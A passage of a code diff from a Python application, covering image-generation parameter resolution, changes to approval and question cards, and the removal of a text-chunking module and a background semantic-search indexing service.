"""The `default_*` keys out of the image settings, as placeholder names.
|
||||
|
||||
Only the ones actually set: an absent or empty key means "no opinion", and
|
||||
must fall through to `DEFAULTS` rather than land as an empty string in a
|
||||
workflow. That is the same reading `resolve` gives a model's own arguments,
|
||||
and it is why an administrator can set two of these and leave the rest.
|
||||
"""
|
||||
out: dict[str, Any] = {}
|
||||
for name in PLACEHOLDERS:
|
||||
if name in ("prompt", "seed", "model"):
|
||||
# A default prompt is not a thing; a default seed would make every
|
||||
# picture identical; the checkpoint has its own setting and its own
|
||||
# per-chat override, resolved before this is reached.
|
||||
continue
|
||||
value = (values or {}).get(f"default_{name}")
|
||||
if value is None or value == "":
|
||||
continue
|
||||
out[name] = value
|
||||
return out
|
||||
|
||||
|
||||
def resolve(given: dict[str, Any], *, settings: dict[str, Any] | None = None) -> dict[str, Any]:
|
||||
"""The full parameter set: what was asked for, over what this instance
|
||||
prefers, over the built-in floor.
|
||||
|
||||
Three rungs, most specific winning, and the middle one is the new part. For
|
||||
the whole life of this feature there were only two -- so 512x512, euler and
|
||||
twenty steps were the values every instance got, whatever card it was
|
||||
running on, and the only ways to move them were to bake literals into a
|
||||
template instead of placeholders or to write prose in the instructions box
|
||||
and hope. `DEFAULTS` stays underneath so an instance that sets nothing
|
||||
behaves exactly as it did.
|
||||
|
||||
Absent and null are both "no opinion", at both levels. A model that emits
|
||||
`"seed": null` rather than omitting the key is common enough that treating
|
||||
it as a request for seed zero would be a bug nobody could see.
|
||||
|
||||
**A negative seed means random**, which is what `-1` means in ComfyUI's own
|
||||
interface, in A1111, and in every other thing that has ever asked somebody
|
||||
for a seed. A model that has read any of them will write it, and without
|
||||
this it went through the uint64 wrap and came out as 18446744073709551615 --
|
||||
a perfectly valid *fixed* seed, so "give me something new" produced the same
|
||||
picture every time. Exactly the wrong answer, arrived at silently.
|
||||
"""
|
||||
values: dict[str, Any] = {**DEFAULTS, **instance_defaults(settings)}
|
||||
for name, value in (given or {}).items():
|
||||
# `batch` is absent from `MODEL_SETTABLE`, so a model naming it is
|
||||
# ignored here rather than refused -- the tool schema never offered it,
|
||||
# and one that invents the key has guessed rather than misbehaved.
|
||||
if name in MODEL_SETTABLE and value is not None and value != "":
|
||||
values[name] = value
|
||||
|
||||
seed = _whole(values.get("seed"), default=-1)
|
||||
values["seed"] = random_seed() if seed < 0 else seed % (MAX_SEED + 1)
|
||||
for name in ("steps", "width", "height", "batch"):
|
||||
values[name] = _clamp(_whole(values.get(name), DEFAULTS[name]), name)
|
||||
for name in ("cfg", "denoise"):
|
||||
values[name] = _clamp(_decimal(values.get(name), DEFAULTS[name]), name)
|
||||
for name in ("prompt", "negative", "sampler", "scheduler", "model"):
|
||||
values[name] = str(values.get(name) or "")
|
||||
return values
|
||||
|
||||
|
||||
def _whole(value: Any, default: int) -> int:
|
||||
try:
|
||||
return int(float(value))
|
||||
except (TypeError, ValueError):
|
||||
return default
|
||||
|
||||
|
||||
def _decimal(value: Any, default: float) -> float:
|
||||
try:
|
||||
return float(value)
|
||||
except (TypeError, ValueError):
|
||||
return default
|
||||
|
||||
|
||||
def _clamp(value: Any, name: str) -> Any:
|
||||
low, high = LIMITS.get(name, (None, None))
|
||||
if low is None:
|
||||
return value
|
||||
clamped = min(max(value, low), high)
|
||||
return int(clamped) if isinstance(value, int) else clamped
|
||||
|
||||
|
||||
def fill(template: Any, values: dict[str, Any]) -> Any:
|
||||
"""A copy of the template with its placeholders replaced.
|
||||
|
||||
Recursive over dicts and lists, because a workflow is nested and a
|
||||
placeholder can be anywhere in it -- including inside a node's `_meta`,
|
||||
which is harmless and should not be treated specially.
|
||||
"""
|
||||
if isinstance(template, dict):
|
||||
return {key: fill(value, values) for key, value in template.items()}
|
||||
if isinstance(template, list):
|
||||
return [fill(item, values) for item in template]
|
||||
if isinstance(template, str):
|
||||
return _fill_string(template, values)
|
||||
return template
|
||||
|
||||
|
||||
def _fill_string(text: str, values: dict[str, Any]) -> Any:
|
||||
"""One string, which may *become* a number.
|
||||
|
||||
The whole-value case is what keeps types right: `"{{steps}}"` is the number
|
||||
and not a string that looks like one. Anything else is ordinary text
|
||||
substitution, so `"{{prompt}}, masterpiece"` reads as a sentence.
|
||||
"""
|
||||
whole = _PLACEHOLDER.fullmatch(text.strip())
|
||||
if whole is not None:
|
||||
return values.get(whole.group(1), text)
|
||||
|
||||
def swap(match: re.Match[str]) -> str:
|
||||
name = match.group(1)
|
||||
return str(values[name]) if name in values else match.group(0)
|
||||
|
||||
return _PLACEHOLDER.sub(swap, text)
|
||||
|
||||
|
||||
def placeholders_in(template: Any) -> set[str]:
|
||||
"""Every `{{name}}` a template uses, for the admin page to report.
|
||||
|
||||
A template that mentions none of them is almost certainly a workflow pasted
|
||||
straight out of ComfyUI without being parameterised, which would generate
|
||||
the same picture whatever anybody typed. Worth saying at save time rather
|
||||
than leaving somebody to discover it.
|
||||
"""
|
||||
found: set[str] = set()
|
||||
if isinstance(template, dict):
|
||||
for value in template.values():
|
||||
found |= placeholders_in(value)
|
||||
elif isinstance(template, list):
|
||||
for item in template:
|
||||
found |= placeholders_in(item)
|
||||
elif isinstance(template, str):
|
||||
found |= {match.group(1) for match in _PLACEHOLDER.finditer(template)}
|
||||
return found
|
||||
@@ -54,38 +54,6 @@ MAX_OPTIONS = 6
|
||||
# what it learned.
|
||||
MAX_QUESTIONS = 8
|
||||
|
||||
# The value the "Something else" row submits. A sentinel rather than a real
|
||||
# option, because it is the one choice on the card the model did not write: it
|
||||
# is added by this code, always, to every question. That is the whole reason the
|
||||
# model is told never to offer an "Other" of its own -- two of them is one that
|
||||
# does nothing, and the model's version would have no box behind it.
|
||||
OTHER = "__other__"
|
||||
|
||||
# How many characters of an option's description are kept. It is a sentence
|
||||
# explaining a choice, not a paragraph, and it is model output landing in a
|
||||
# card somebody is meant to read at a glance.
|
||||
MAX_OPTION_CHARS = 240
|
||||
|
||||
# How much of a refusal's reason is carried back to the model. Generous, because
|
||||
# this is the reader saying what they want instead and truncating that mid-clause
|
||||
# is worse than the tokens it saves -- but bounded, because it lands in a tool
|
||||
# result inside a request that already has a window to fit in.
|
||||
MAX_REASON_CHARS = 2000
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Option:
|
||||
"""One answer offered for a question.
|
||||
|
||||
A `label` alone reads as a button; the optional `description` is what makes
|
||||
a real choice possible -- "Rewrite it" and "Patch it" say nothing about
|
||||
which loses your uncommitted work. Both are model output and are escaped
|
||||
where they are shown.
|
||||
"""
|
||||
|
||||
label: str
|
||||
description: str = ""
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Item:
|
||||
@@ -109,31 +77,8 @@ class Item:
|
||||
title: str
|
||||
detail: str = ""
|
||||
reason: str = ""
|
||||
# What the model says this call is for, in its own words -- distinct from
|
||||
# `reason`, which is why *we* stopped ("Edit mode asks before anything that
|
||||
# runs a command"). Model text, and shown as such: a card carrying an
|
||||
# explanation somebody reads as the application's own would be a card
|
||||
# vouching for it.
|
||||
purpose: str = ""
|
||||
options: tuple[Option, ...] = ()
|
||||
# Whether more than one option may be chosen. The model says which, because
|
||||
# only the model knows whether its options are alternatives ("rewrite or
|
||||
# patch") or a set ("which of these to include"). Exclusive is the default:
|
||||
# a radio group offered where checkboxes were meant costs one clarifying
|
||||
# round, while checkboxes offered for alternatives invite an answer that
|
||||
# contradicts itself.
|
||||
multiple: bool = False
|
||||
# Whether "Something else" is offered, with the box behind it. True for a
|
||||
# question -- the options are the model's guess at the answers and it can be
|
||||
# wrong -- and false for an approval, where the choice is Allow or Don't and
|
||||
# a third way out would mean nothing.
|
||||
options: tuple[str, ...] = ()
|
||||
allow_free_text: bool = True
|
||||
# Whether `detail` can be corrected before this is allowed. Only where the
|
||||
# detail *is* one argument and can be put back where it came from -- a tool
|
||||
# with no entry in `tool_labels.DETAIL_KEYS` gets a `k=repr(v)` summary that
|
||||
# cannot be parsed back, and offering a box that silently changed nothing
|
||||
# would be worse than offering none.
|
||||
editable: bool = False
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -149,9 +94,7 @@ class Interruption:
|
||||
def kind(self) -> str:
|
||||
return KIND_QUESTION if any(i.kind == KIND_QUESTION for i in self.items) else KIND_APPROVAL
|
||||
|
||||
def resolve(
|
||||
self, outcome: str, *, answers: dict[str, str] | None = None, reason: str = ""
|
||||
) -> bool:
|
||||
def resolve(self, outcome: str, *, answers: dict[str, str] | None = None) -> bool:
|
||||
"""Complete this pause. Idempotent -- a second answer is ignored.
|
||||
|
||||
Returns whether this call was the one that answered it, which is what
|
||||
@@ -160,13 +103,7 @@ class Interruption:
|
||||
"""
|
||||
if self._future is None or self._future.done():
|
||||
return False
|
||||
self._future.set_result(
|
||||
Reply(
|
||||
outcome=outcome,
|
||||
answers=dict(answers or {}),
|
||||
reason=reason.strip()[:MAX_REASON_CHARS],
|
||||
)
|
||||
)
|
||||
self._future.set_result(Reply(outcome=outcome, answers=dict(answers or {})))
|
||||
return True
|
||||
|
||||
|
||||
@@ -176,19 +113,11 @@ class Reply:
|
||||
|
||||
`answers` is keyed by `Item.key`, so a card carrying four questions comes
|
||||
back as four answers in one go. An approval carries none: the verdict is
|
||||
the whole of it -- except for `reason`.
|
||||
|
||||
`reason` is why the reader refused, in their own words, and it belongs to
|
||||
the *card* rather than to an item. The card already covers everything in the
|
||||
round for the reason `interaction` opens with, one verdict answers the lot,
|
||||
and somebody who says "not in that directory" is saying it about the round.
|
||||
Keeping it off `answers` also keeps it clear of `text.<key>`, which on an
|
||||
approval card already means something else entirely -- a corrected command.
|
||||
the whole of it.
|
||||
"""
|
||||
|
||||
outcome: str
|
||||
answers: dict[str, str] = field(default_factory=dict)
|
||||
reason: str = ""
|
||||
|
||||
@property
|
||||
def permitted(self) -> bool:
|
||||
@@ -261,7 +190,6 @@ __all__ = [
|
||||
"KIND_QUESTION",
|
||||
"MAX_OPTIONS",
|
||||
"MAX_QUESTIONS",
|
||||
"MAX_REASON_CHARS",
|
||||
"PERMITTED",
|
||||
"Interruption",
|
||||
"Item",
|
||||
|
||||
@@ -1,125 +0,0 @@
|
||||
"""Splitting a record into pieces small enough to embed, and packing vectors.
|
||||
|
||||
One implementation, used by documents, notes, skills and reports. Three would
|
||||
drift, and drift here is invisible: a splitter that behaves differently for
|
||||
notes than for documents produces a search that works and ranks wrongly.
|
||||
|
||||
## How it splits
|
||||
|
||||
On **paragraph boundaries first**, falling back to lines and then to a hard cut,
|
||||
because a chunk that ends mid-sentence is one whose embedding is about half a
|
||||
thought. The overlap carries the tail of the previous chunk into the next, so a
|
||||
sentence that straddles a boundary is whole in one of them.
|
||||
|
||||
Characters rather than tokens throughout. The count has to be made without
|
||||
asking the endpoint -- `services/tokens.py` already establishes four characters
|
||||
to a token as this codebase's estimate, and being 20% out about a chunk size is
|
||||
a slightly different chunk, not a wrong one.
|
||||
|
||||
## Packing
|
||||
|
||||
float32, little-endian. A 1024-dimension vector is 4KB packed and about 20KB as
|
||||
JSON text, and every one of them is read on every semantic search.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import struct
|
||||
|
||||
# Below this a piece is not worth a row: the embedding of six words is mostly
|
||||
# noise, and a search that returns "and the following:" as its best hit is worse
|
||||
# than one that returns nothing.
|
||||
MIN_CHUNK_CHARS = 40
|
||||
|
||||
|
||||
def split(text: str, *, size: int = 1200, overlap: int = 150) -> list[str]:
|
||||
"""A record's text as pieces of roughly `size` characters.
|
||||
|
||||
`overlap` is how much of the previous piece rides along with the next. It is
|
||||
clamped to half the size here as well as in the settings accessor, because
|
||||
an overlap at or past the size means every piece starts where the last one
|
||||
did and the loop never advances -- a hang rather than a bad index, so it is
|
||||
refused in both places rather than in the more convenient one.
|
||||
"""
|
||||
body = (text or "").strip()
|
||||
if not body:
|
||||
return []
|
||||
size = max(200, int(size))
|
||||
overlap = max(0, min(int(overlap), size // 2))
|
||||
if len(body) <= size:
|
||||
return [body]
|
||||
|
||||
pieces: list[str] = []
|
||||
start = 0
|
||||
while start < len(body):
|
||||
end = min(start + size, len(body))
|
||||
if end < len(body):
|
||||
end = _boundary(body, start, end)
|
||||
piece = body[start:end].strip()
|
||||
if len(piece) >= MIN_CHUNK_CHARS:
|
||||
pieces.append(piece)
|
||||
if end >= len(body):
|
||||
break
|
||||
start = max(end - overlap, start + 1)
|
||||
return pieces
|
||||
|
||||
|
||||
def _boundary(body: str, start: int, end: int) -> int:
|
||||
"""Where to cut, preferring a paragraph break and then a line break.
|
||||
|
||||
Searched backwards from the hard limit, and only within the last third of
|
||||
the piece: a paragraph break near the *start* would produce a chunk a
|
||||
fraction of the size, which is how a long document turns into hundreds of
|
||||
tiny rows that each match nothing.
|
||||
"""
|
||||
floor = start + (end - start) * 2 // 3
|
||||
for marker in ("\n\n", "\n", ". "):
|
||||
found = body.rfind(marker, floor, end)
|
||||
if found > floor:
|
||||
return found + len(marker)
|
||||
return end
|
||||
|
||||
|
||||
def digest(text: str) -> str:
|
||||
"""A hash of what a chunk set was built from.
|
||||
|
||||
What makes re-indexing an unchanged record free, and what makes "is this
|
||||
index current?" answerable without embedding anything. sha256 rather than
|
||||
md5 for no reason beyond having no reason to prefer md5; both are being used
|
||||
as a change detector rather than against an adversary.
|
||||
"""
|
||||
return hashlib.sha256((text or "").encode("utf-8")).hexdigest()
|
||||
|
||||
|
||||
def pack(vector: list[float]) -> bytes:
|
||||
return struct.pack(f"<{len(vector)}f", *vector)
|
||||
|
||||
|
||||
def unpack(blob: bytes, dims: int) -> list[float]:
|
||||
"""A stored vector, or an empty list if the row does not add up.
|
||||
|
||||
Length is checked against the declared width rather than inferred from it: a
|
||||
truncated BLOB would otherwise unpack into a shorter vector and score
|
||||
against a query happily, which is a wrong answer rather than a missing one.
|
||||
"""
|
||||
if dims <= 0 or len(blob) != dims * 4:
|
||||
return []
|
||||
return list(struct.unpack(f"<{dims}f", blob))
|
||||
|
||||
|
||||
def dot(left: list[float], right: list[float]) -> float:
|
||||
"""Cosine similarity, given that both sides are already unit vectors.
|
||||
|
||||
Normalisation happens once, at write time, in `llm/embeddings.py` -- so
|
||||
every comparison here is a multiply-and-add rather than two square roots per
|
||||
pair. A width mismatch scores zero rather than raising: it means the vectors
|
||||
came from two different models, and the honest answer to "how similar are
|
||||
these?" across two spaces is "this tells you nothing".
|
||||
"""
|
||||
if len(left) != len(right) or not left:
|
||||
return 0.0
|
||||
return sum(a * b for a, b in zip(left, right, strict=True))
|
||||
|
||||
|
||||
__all__ = ["MIN_CHUNK_CHARS", "digest", "dot", "pack", "split", "unpack"]
|
||||
@@ -18,18 +18,11 @@ from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.config import settings
|
||||
from lembas.db.models import (
|
||||
CHUNK_DOCUMENT,
|
||||
SOURCE_LINK,
|
||||
SOURCE_UPLOAD,
|
||||
Document,
|
||||
KnowledgeBase,
|
||||
User,
|
||||
)
|
||||
from lembas.db.models import SOURCE_LINK, SOURCE_UPLOAD, Document, KnowledgeBase, User
|
||||
from lembas.services import files as files_service
|
||||
from lembas.services import sharing
|
||||
from lembas.services.fetch import Fetched
|
||||
from lembas.services.library import retrieval
|
||||
from lembas.services.library.fts import search_ids
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
@@ -261,47 +254,6 @@ def get(db: DBSession, document_id: str, user: User | None) -> Document | None:
|
||||
return document
|
||||
|
||||
|
||||
def can_write(document: Document, user: User | None) -> bool:
|
||||
"""Whether this person may change a document's text.
|
||||
|
||||
Ownership, through the same helper every other library store uses. Sharing
|
||||
grants **reading only**, so being able to see a document through somebody
|
||||
else's base is never enough to rewrite it -- and reading is already settled
|
||||
by `get`, which resolves visibility through the base.
|
||||
|
||||
Its own function rather than `sharing.can_write` at the call site because
|
||||
`Document` is the one store whose visibility does not come from itself, and
|
||||
a reader arriving at a bare `sharing.can_write(document, …)` would have to
|
||||
go and check whether that is the right question.
|
||||
"""
|
||||
return sharing.can_write(document, user)
|
||||
|
||||
|
||||
def set_text(db: DBSession, document: Document, text: str) -> Document:
|
||||
"""Replace the extracted text a person reads and a model searches.
|
||||
|
||||
The stored file is untouched: the bytes are the record, and this is what was
|
||||
made of them. That is the same line PDF extraction draws -- extracted once
|
||||
at upload, so a reply cannot change because a parser was upgraded -- and it
|
||||
is why editing this is safe for transcripts: `files.copy_document` copies
|
||||
the text when a document is attached, so an edit only changes what future
|
||||
searches find.
|
||||
|
||||
`extraction_error` is cleared, because replacing a failed extraction by hand
|
||||
is the main reason to want this at all; leaving the old apology beside the
|
||||
new text would be the page contradicting itself.
|
||||
|
||||
The commit fires the `documents_fts` UPDATE trigger, so search stays correct
|
||||
with nothing else to do. See `db/migrations.py:ensure_fts`.
|
||||
"""
|
||||
ceiling = files_service.limits().max_extracted_chars
|
||||
document.extracted_text = text[:ceiling]
|
||||
document.truncated = len(text) > ceiling
|
||||
document.extraction_error = ""
|
||||
db.commit()
|
||||
return document
|
||||
|
||||
|
||||
def search(
|
||||
db: DBSession,
|
||||
user: User | None,
|
||||
@@ -309,22 +261,14 @@ def search(
|
||||
*,
|
||||
limit: int = 10,
|
||||
base_ids: list[str] | None = None,
|
||||
vector: list[float] | None = None,
|
||||
) -> list[Document]:
|
||||
"""Documents matching `needle` that this user may see, best match first.
|
||||
|
||||
The index is searched first and the visibility filter applied to the rows
|
||||
it returned. That order matters: filtering afterwards is what makes it
|
||||
impossible for a hit on somebody else's document to leak, even as a count.
|
||||
|
||||
`vector` is the query already embedded, or None. It comes from the caller
|
||||
rather than being worked out here because this is synchronous and embedding
|
||||
is an HTTP request -- see `services/library/retrieval.py`. None means the
|
||||
keyword search exactly as it always was.
|
||||
"""
|
||||
hits = retrieval.search(
|
||||
db, INDEX, needle, kind=CHUNK_DOCUMENT, vector=vector, limit=limit * 4
|
||||
)
|
||||
hits = search_ids(db, INDEX, needle, limit=limit * 4)
|
||||
if not hits:
|
||||
return []
|
||||
|
||||
|
||||
@@ -1,529 +0,0 @@
|
||||
"""Keeping the semantic index current, and rebuilding it when it is not.
|
||||
|
||||
## The shape, and why it is a background task
|
||||
|
||||
Embedding is an HTTP request. Every writer in the library -- `documents.create`,
|
||||
`notes.edit`, `skills.save`, `reports.create` -- is synchronous and is called
|
||||
from a route or a tool runner that has just committed a row, and none of them
|
||||
should wait on a model server to answer before saying "saved".
|
||||
|
||||
So indexing is **fired and forgotten**: `schedule(kind, id)` starts a task and
|
||||
returns immediately. A save that cannot be indexed is a save; the row is written
|
||||
either way and the search falls back to keywords for that record until the next
|
||||
rebuild. That is the whole degradation story, and it is the same one that covers
|
||||
having no embedding model at all.
|
||||
|
||||
## Nothing is written when no model is chosen
|
||||
|
||||
`embedding_model_id` empty means the FTS path exactly as it has always been --
|
||||
no chunk rows, no requests, no cost. That is what makes this safe to add to an
|
||||
instance that never asked for it, and it is asserted rather than assumed.
|
||||
|
||||
## Staleness is a hash, not a timestamp
|
||||
|
||||
Every chunk carries `source_hash` (of the text it was built from), `model_id`
|
||||
and `dims`. Re-indexing an unchanged record is free; a record whose text moved
|
||||
is rebuilt; a record embedded by a *different* model is rebuilt on the next pass
|
||||
and, until then, ignored by the scorer rather than trusted. Vectors from two
|
||||
spaces score against each other perfectly happily and mean nothing, which is a
|
||||
search that works and is wrong -- the worst failure this feature can have.
|
||||
|
||||
## The rebuild is restartable and reports itself
|
||||
|
||||
A half-finished index has to be usable rather than empty, so the rebuild walks
|
||||
records one at a time and commits each. `progress()` is what the admin page
|
||||
polls; it is in-process, because a rebuild does not survive a restart and
|
||||
pretending otherwise would mean a progress bar that never moves.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import contextlib
|
||||
import logging
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
from sqlalchemy import delete, func, select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import (
|
||||
CHUNK_DOCUMENT,
|
||||
CHUNK_KINDS,
|
||||
CHUNK_NOTE,
|
||||
CHUNK_REPORT,
|
||||
CHUNK_SKILL,
|
||||
Chunk,
|
||||
Connection,
|
||||
Document,
|
||||
Model,
|
||||
Note,
|
||||
Report,
|
||||
Skill,
|
||||
)
|
||||
from lembas.db.session import session_scope
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.library import chunks as chunk_service
|
||||
from lembas.services.llm.openai_client import Endpoint, LLMError
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# What each kind is, and how to get its text. One table rather than four
|
||||
# branches, for the reason `tool_labels` is one table: four copies of "which
|
||||
# columns make up the searchable text" is three chances to disagree.
|
||||
SOURCES: dict[str, tuple[type, tuple[str, ...]]] = {
|
||||
CHUNK_DOCUMENT: (Document, ("title", "description", "extracted_text")),
|
||||
CHUNK_NOTE: (Note, ("title", "body")),
|
||||
CHUNK_SKILL: (Skill, ("name", "description", "body")),
|
||||
CHUNK_REPORT: (Report, ("title", "summary", "body")),
|
||||
}
|
||||
|
||||
# Tasks in flight, so a record saved twice in quick succession is indexed once
|
||||
# more rather than twice at the same time. Keyed on kind and id.
|
||||
_TASKS: dict[tuple[str, str], asyncio.Task] = {}
|
||||
|
||||
|
||||
# --- What the model is ----------------------------------------------------------
|
||||
@dataclass(frozen=True)
|
||||
class Embedder:
|
||||
"""Which model turns text into vectors, resolved while a session is open."""
|
||||
|
||||
endpoint: Endpoint
|
||||
model_id: str
|
||||
batch: int = 16
|
||||
|
||||
|
||||
def embedder(db: DBSession) -> Embedder | None:
|
||||
"""The configured embedding model, or None.
|
||||
|
||||
None is the answer to every "no" -- none chosen, the model row deleted, its
|
||||
connection disabled -- and every caller reads it the same way: do nothing,
|
||||
and let the keyword search stand. That is deliberately not an error. An
|
||||
instance that never configured this is the common case, not a broken one.
|
||||
"""
|
||||
values = settings_store.extraction(db)
|
||||
wanted = str(values.get("embedding_model_id") or "").strip()
|
||||
if not wanted:
|
||||
return None
|
||||
model = db.scalar(
|
||||
select(Model)
|
||||
.join(Connection)
|
||||
.where(
|
||||
Model.model_id == wanted,
|
||||
Model.enabled.is_(True),
|
||||
Connection.enabled.is_(True),
|
||||
)
|
||||
.order_by(Connection.position)
|
||||
)
|
||||
if model is None:
|
||||
log.info("embedding model %r is configured but not available", wanted)
|
||||
return None
|
||||
connection = db.get(Connection, model.connection_id)
|
||||
if connection is None:
|
||||
return None
|
||||
return Embedder(
|
||||
endpoint=Endpoint.from_connection(connection),
|
||||
model_id=model.model_id,
|
||||
batch=int(values.get("embed_batch") or 16),
|
||||
)
|
||||
|
||||
|
||||
def enabled(db: DBSession) -> bool:
|
||||
return embedder(db) is not None
|
||||
|
||||
|
||||
# --- Reading a record -----------------------------------------------------------
|
||||
def text_of(row) -> str:
|
||||
"""The searchable text of one record, in the same order the FTS index uses.
|
||||
|
||||
Blank fields are dropped rather than joined as empty lines, so a note with
|
||||
no body hashes the same before and after somebody clears its body twice.
|
||||
"""
|
||||
kind = kind_of(row)
|
||||
if kind is None:
|
||||
return ""
|
||||
_, columns = SOURCES[kind]
|
||||
parts = [str(getattr(row, name, "") or "").strip() for name in columns]
|
||||
return "\n\n".join(part for part in parts if part)
|
||||
|
||||
|
||||
def kind_of(row) -> str | None:
|
||||
for kind, (model, _) in SOURCES.items():
|
||||
if isinstance(row, model):
|
||||
return kind
|
||||
return None
|
||||
|
||||
|
||||
def owner_of(row) -> str:
|
||||
return str(getattr(row, "owner_id", "") or "")
|
||||
|
||||
|
||||
# --- Writing the index ----------------------------------------------------------
|
||||
def forget_resource(db: DBSession, kind: str, resource_id: str) -> int:
|
||||
"""Drop every chunk of one record. Called when it is deleted.
|
||||
|
||||
A plain DELETE rather than a cascade, because `resource_id` has no foreign
|
||||
key -- it points at one of four tables depending on `resource_type`, which
|
||||
SQLite cannot express. Same reasoning as `Share.principal_id`.
|
||||
"""
|
||||
result = db.execute(
|
||||
delete(Chunk).where(Chunk.resource_type == kind, Chunk.resource_id == resource_id)
|
||||
)
|
||||
db.commit()
|
||||
return int(result.rowcount or 0)
|
||||
|
||||
|
||||
def current_hash(db: DBSession, kind: str, resource_id: str) -> tuple[str, str]:
|
||||
"""The hash and model of the chunks already stored for a record."""
|
||||
row = db.execute(
|
||||
select(Chunk.source_hash, Chunk.model_id)
|
||||
.where(Chunk.resource_type == kind, Chunk.resource_id == resource_id)
|
||||
.limit(1)
|
||||
).first()
|
||||
return (str(row[0] or ""), str(row[1] or "")) if row else ("", "")
|
||||
|
||||
|
||||
async def index_resource(kind: str, resource_id: str, *, force: bool = False) -> int:
|
||||
"""Rebuild one record's chunks. Returns how many were written.
|
||||
|
||||
Opens its own session, for the reason every background worker here does: it
|
||||
outlives the request that scheduled it. Never raises -- a failure leaves the
|
||||
old chunks in place, which is a slightly stale index rather than a hole, and
|
||||
is strictly better than deleting first and failing to write.
|
||||
"""
|
||||
if kind not in SOURCES:
|
||||
return 0
|
||||
try:
|
||||
with session_scope() as db:
|
||||
model, _ = SOURCES[kind]
|
||||
row = db.get(model, resource_id)
|
||||
if row is None:
|
||||
forget_resource(db, kind, resource_id)
|
||||
return 0
|
||||
worker = embedder(db)
|
||||
if worker is None:
|
||||
return 0
|
||||
body = text_of(row)
|
||||
owner = owner_of(row)
|
||||
values = settings_store.extraction(db)
|
||||
digest = chunk_service.digest(body)
|
||||
stored_hash, stored_model = current_hash(db, kind, resource_id)
|
||||
|
||||
if not body.strip():
|
||||
with session_scope() as db:
|
||||
forget_resource(db, kind, resource_id)
|
||||
return 0
|
||||
if not force and digest == stored_hash and stored_model == worker.model_id:
|
||||
return 0
|
||||
|
||||
pieces = chunk_service.split(
|
||||
body, size=int(values["chunk_chars"]), overlap=int(values["chunk_overlap"])
|
||||
)
|
||||
if not pieces:
|
||||
with session_scope() as db:
|
||||
forget_resource(db, kind, resource_id)
|
||||
return 0
|
||||
|
||||
vectors = await _embed_all(worker, pieces)
|
||||
|
||||
# Written only once every vector is in hand. Deleting first and failing
|
||||
# half way through would leave a record indexed by half of itself, which
|
||||
# ranks worse than not being indexed at all and looks like nothing.
|
||||
with session_scope() as db:
|
||||
db.execute(
|
||||
delete(Chunk).where(
|
||||
Chunk.resource_type == kind, Chunk.resource_id == resource_id
|
||||
)
|
||||
)
|
||||
for ordinal, (piece, vector) in enumerate(zip(pieces, vectors, strict=True)):
|
||||
db.add(
|
||||
Chunk(
|
||||
owner_id=owner,
|
||||
resource_type=kind,
|
||||
resource_id=resource_id,
|
||||
ordinal=ordinal,
|
||||
text=piece,
|
||||
vector=chunk_service.pack(vector),
|
||||
dims=len(vector),
|
||||
model_id=worker.model_id,
|
||||
source_hash=digest,
|
||||
)
|
||||
)
|
||||
db.commit()
|
||||
return len(pieces)
|
||||
except LLMError as exc:
|
||||
log.info("could not index %s %s: %s", kind, resource_id, exc)
|
||||
return 0
|
||||
except asyncio.CancelledError:
|
||||
raise
|
||||
except Exception: # noqa: BLE001 - one bad record must not stop a rebuild
|
||||
log.exception("indexing %s %s failed", kind, resource_id)
|
||||
return 0
|
||||
|
||||
|
||||
async def _embed_all(worker: Embedder, pieces: list[str]) -> list[list[float]]:
|
||||
from lembas.services.llm import embeddings as embeddings_service
|
||||
|
||||
vectors: list[list[float]] = []
|
||||
for start in range(0, len(pieces), worker.batch):
|
||||
batch = pieces[start : start + worker.batch]
|
||||
vectors.extend(await embeddings_service.embed(worker.endpoint, worker.model_id, batch))
|
||||
return vectors
|
||||
|
||||
|
||||
# --- Scheduling -----------------------------------------------------------------
|
||||
def schedule(kind: str, resource_id: str) -> None:
|
||||
"""Index a record soon, without making its writer wait.
|
||||
|
||||
Called from synchronous writers that have just committed. Two things it is
|
||||
careful about:
|
||||
|
||||
- **No running loop means do nothing.** A CLI command, a test, or the
|
||||
startup sweep has no event loop to attach to, and building a coroutine
|
||||
there produces "never awaited" at the caller's own line. The check is
|
||||
before the coroutine, the same trap `push.announce_later` documents.
|
||||
- **A record already being indexed is left alone.** Saving twice in a second
|
||||
would otherwise embed the same text twice at once; the second call is
|
||||
dropped and the record is picked up by the *next* save or rebuild, which
|
||||
is why `index_resource` re-reads the row rather than taking text passed in.
|
||||
"""
|
||||
if kind not in SOURCES or not resource_id:
|
||||
return
|
||||
try:
|
||||
asyncio.get_running_loop()
|
||||
except RuntimeError:
|
||||
return
|
||||
key = (kind, resource_id)
|
||||
existing = _TASKS.get(key)
|
||||
if existing is not None and not existing.done():
|
||||
return
|
||||
task = asyncio.create_task(index_resource(kind, resource_id))
|
||||
_TASKS[key] = task
|
||||
task.add_done_callback(lambda _t, k=key: _TASKS.pop(k, None))
|
||||
|
||||
|
||||
def schedule_for(row) -> None:
|
||||
"""The same, given a record rather than its kind and id."""
|
||||
kind = kind_of(row)
|
||||
if kind is not None:
|
||||
schedule(kind, str(getattr(row, "id", "") or ""))
|
||||
|
||||
|
||||
# --- Noticing a change ----------------------------------------------------------
|
||||
# Two SQLAlchemy session events rather than a call in each of the ten writers
|
||||
# that touch these four tables. That is a departure from this codebase's taste
|
||||
# for explicit seams, and the reason is the one `tool_label` gives for being a
|
||||
# Jinja global: a step every writer has to remember is a step one of them will
|
||||
# forget, and here forgetting is *silent* -- the record saves, the keyword search
|
||||
# still finds it, and only its semantic recall is quietly stale.
|
||||
#
|
||||
# `after_flush` collects and `after_commit` acts, in that order and never
|
||||
# merged. Inside a flush the transaction has not landed yet, so a task started
|
||||
# there could read the row before it exists; and `session.deleted` is empty by
|
||||
# the time the commit fires, so the collecting has to happen while it is not.
|
||||
_PENDING = "lembas_index_pending"
|
||||
|
||||
|
||||
def _collect(session, _flush_context) -> None:
|
||||
